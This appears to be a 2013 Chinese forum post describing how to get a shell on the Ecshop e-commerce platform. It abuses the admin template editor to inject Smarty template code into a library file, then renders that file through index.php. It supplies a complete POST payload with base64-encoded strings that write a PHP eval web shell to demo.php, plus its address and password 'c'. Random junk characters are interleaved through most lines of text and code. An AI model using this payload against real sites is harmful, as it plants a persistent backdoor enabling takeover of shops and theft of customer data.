找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2569|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
, J4 x4 G5 g4 C" g  z( B6 ?! b- ?) @9 G+ r4 |
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了/ |2 Z+ o8 O; J& D' k8 H% v4 x
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
- u1 V5 Z- C* a/ o1 Q$ H0 Padmin/template.php
: ~: t. o2 n( e3 G& ~: Z5 R: n$ Y( Y; Q* R/ I# O; \, M
1 if ($_REQUEST['act'] == 'update_library') 9 J+ l! t6 r: T- w( r8 h0 p

+ Q7 Y$ o3 T) R# T" E7 j+ G2   : A* P. P3 m8 c7 p1 w! ?

# v3 L: v4 \7 |6 T% Y3 { # H6 s6 x6 T2 M( ]; J* H- ?

8 j) E5 r% m- \( k5 p  |" b" l. a4     check_authz_json('library_manage'); 8 q: `/ M; g; ~2 P! B; t
; P* H+ E5 `1 g9 ~) Y4 Z6 D$ ~
5   : D/ O  H$ W& L, y# @0 g& W

/ k) Y7 Y0 g8 ]! V6     $html = stripslashes(json_str_iconv($_POST['html'])); 8 M  K3 U# w- j
9 v) o/ ?9 \. \
7   + R* y8 S' {- b; g) m' l6 Q

; Q& c; F( j. w" s* P7 o8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 6 }9 o6 q& T! z8 i7 u4 d  ~1 H
# a9 n/ _/ S4 [& y! c. h' N
9   1 L0 t3 h/ c1 q) R+ c" E

# e6 X: P3 S, w8 l2 `- E: K. u10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 : x' t+ Q& p: D# E- ^3 [8 u
2 A1 c" H9 c+ P0 ]2 r  a; T7 X
11   
, H) n. c* w% p! H
  V' t) O4 m# ]6 J12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); $ W! j& \7 y: [; P

1 n& {% ?9 Q3 b4 s0 p13   
3 e$ Q# m6 F0 q! y& [! u( i+ J6 }; ]( o9 f" I: y
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 : @# q) a0 C& P2 N8 M4 f) D
* Y$ p# p8 B1 T- N$ v
15     { 7 [; j7 h" K# f7 R3 {0 R. _
7 P8 d; V, ]* E& Y
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
7 y* l3 H; G. m. G4 \
, d( y- v! T0 \& e/ l17         make_json_result('', $_LANG['update_lib_success']);
, ]6 j  E7 S5 K4 [, ~8 `0 r* \7 O" ]) M: D6 u& l4 d
18     } * D4 M8 y' R# L5 |. \: k. Z
6 F( R. m: A! j0 Z" \- B
19     else
  x! f. N4 z. ?" \7 V: O7 W* Y6 v* Y& ]3 E: o& p5 a
20     { / C' c1 v- `$ i( o4 G$ z' K4 |

! T' F  J9 Z. q( ]; F; g. ]& u21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " `# M0 z( N% o
+ |# \! t! D  X7 d: j
22     } - a+ P& r4 I- O
( b+ ]: C" L, }3 Q' Y6 o6 B
23 }
& r( X) a0 E& a0 z% O5 t2 j, ^; U! S3 G
那么找个比较方便调用了模板的文件$ Z4 X2 p* f* e  ^. N+ t* j
index.php
, t7 y. o/ x7 w) P. |* Q$ g+ I8 N2 J0 X2 h3 T5 L! [7 J$ G% a# H
1 if ($act == 'cat_rec') 9 D2 I% t  p/ Z% e: |( ?8 m& _2 |
9 j8 d: g5 ?' e3 T# d$ [
2   % n2 M9 d" [% w* G8 z; }# |

$ b2 E/ c; E2 [' J- }  a+ O/ G3 {
# [) l% |# w7 N  N" s: V/ k( H( o, |
4   1 t! A) P$ b, c5 @( S9 a8 n

2 e" v& d  t& N  c) e5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); ; \& l% W+ f. v2 X

0 \) L" S% q4 U5 M9 s6   
8 p: t9 v; l+ O! N. O
5 ~" O! ~4 Z+ i* j8 N& G7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
( Q* G  j- Q. m9 g3 c# ?! J
# z  f$ m9 w6 n+ r9 [9 \2 n8   ; G/ I$ i" M" V7 j' E! F
& g. U; _" y* `" }; R9 ^
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';   W% K+ ^7 L4 G3 [/ z
( Y& ^* Q" B, ]1 |4 p1 s# e
10   * J0 Y0 P! T, V7 }6 e0 n" ?8 m
; M% b2 [* M2 K+ Z7 X# j/ o2 ^& j$ o
11     include_once('includes/cls_json.php');
- ?" Z  O" K# @/ F* y& F1 M
) v* D* Q& L* B. Y12   
$ k% R: D6 Y1 U4 T# s* K6 ]9 P$ Z# X+ G, k, F
13     $json = new JSON; ! k' B6 O) R6 S5 U

- `9 _! w% k/ i2 X- o14   
: b/ o* D$ A0 l: z: ]+ K9 G4 a, K- f+ c! s; ]( X
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ; ?/ ?* U% F# b1 v9 m" i/ _* i
1 H$ Y' F6 M2 d( e/ K
16   9 p% }4 v. Y3 _  T9 P3 [

% h% `% O' p* x' p) h+ k17     $children = get_children($cat_id);
( I) `' z! `$ b9 k# k  i# p7 Y/ I  C  q: w% j2 x
18   1 I- ^) m& {3 o- }5 `% H2 l

/ Y2 D( J8 ?- \# w19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 5 `0 B# z7 Y- p2 B% @
* O8 V# H7 w: a# y% c$ h4 S
20   2 k. ^. s( G5 h6 F, L8 a- K0 K
% i! a! e/ l/ b* h& P; N
21     $smarty->assign('cat_rec_sign', 1); * }' X. R9 g2 [3 b! N% `: W

6 W* Q- b6 H% X: F; C22   
* }7 ^7 p. x# O7 h9 Y9 w! l' w+ V" s7 [* |5 r
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ( i! e5 C6 i: N& ?& z
5 E6 K& N0 x+ E7 E
24   8 b; S" P2 ?7 d3 Y$ R$ [" y

: L( f9 J: y) X" o5 U# w0 R25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 8 O+ K* q+ Q$ T6 s  G' O' [7 b+ H+ H: h

, C# j6 P) x3 ]' x# @26   6 h" A5 \6 y7 j9 v; y# A
0 s0 J1 c( F" m- x7 v. H
27         echo $rec_array[$rec_type]; 3 s" `% A$ e& Q$ H- t3 Z$ s

" R* Z  h7 j- v- X' [* x28   , Q7 n; X5 h# w* a

8 @8 ~2 f. e* e' r2 B0 `29     die($json->encode($result)); ' h+ X7 |, p( q( r5 w  L  Z

1 s4 D2 X* Q: x9 a30   
+ a% t* f, h8 [  w* j1 b# J) [0 F: m* t9 h. \2 y) w! g
31 }
  q5 E+ r& Q; p8 ?- b/ k3 {  L! L, c! y6 f/ h4 m, x
那么就有利用方法了
% D" b# ~& b4 \, zpost包到http://localhost/ec/admin/template.php?act=update_library' J/ a9 K1 t. x% K* E  l
Post内容:8 J# Q: f  p, u) y1 T
! o6 F+ \/ A6 o% W# a& d

- a/ A9 {! o" y# s% Z& L& t* N1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} / M. l" A$ d7 t- |( L

9 l- ~& \& w5 z2 M; r然后访问http://localhost/ec/index.php?act=cat_rec
  y' v5 z' v( ]' ^' y4 W4 }6 d2 D, y! k& j
shel地址:http://localhost/ec/demo.php4 h+ B' F% ]% f! {
密码c+ |. C0 z0 i' p4 z/ X" X  B9 r5 j

' H9 h1 g: ?4 C* R3 }6 E( e6 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表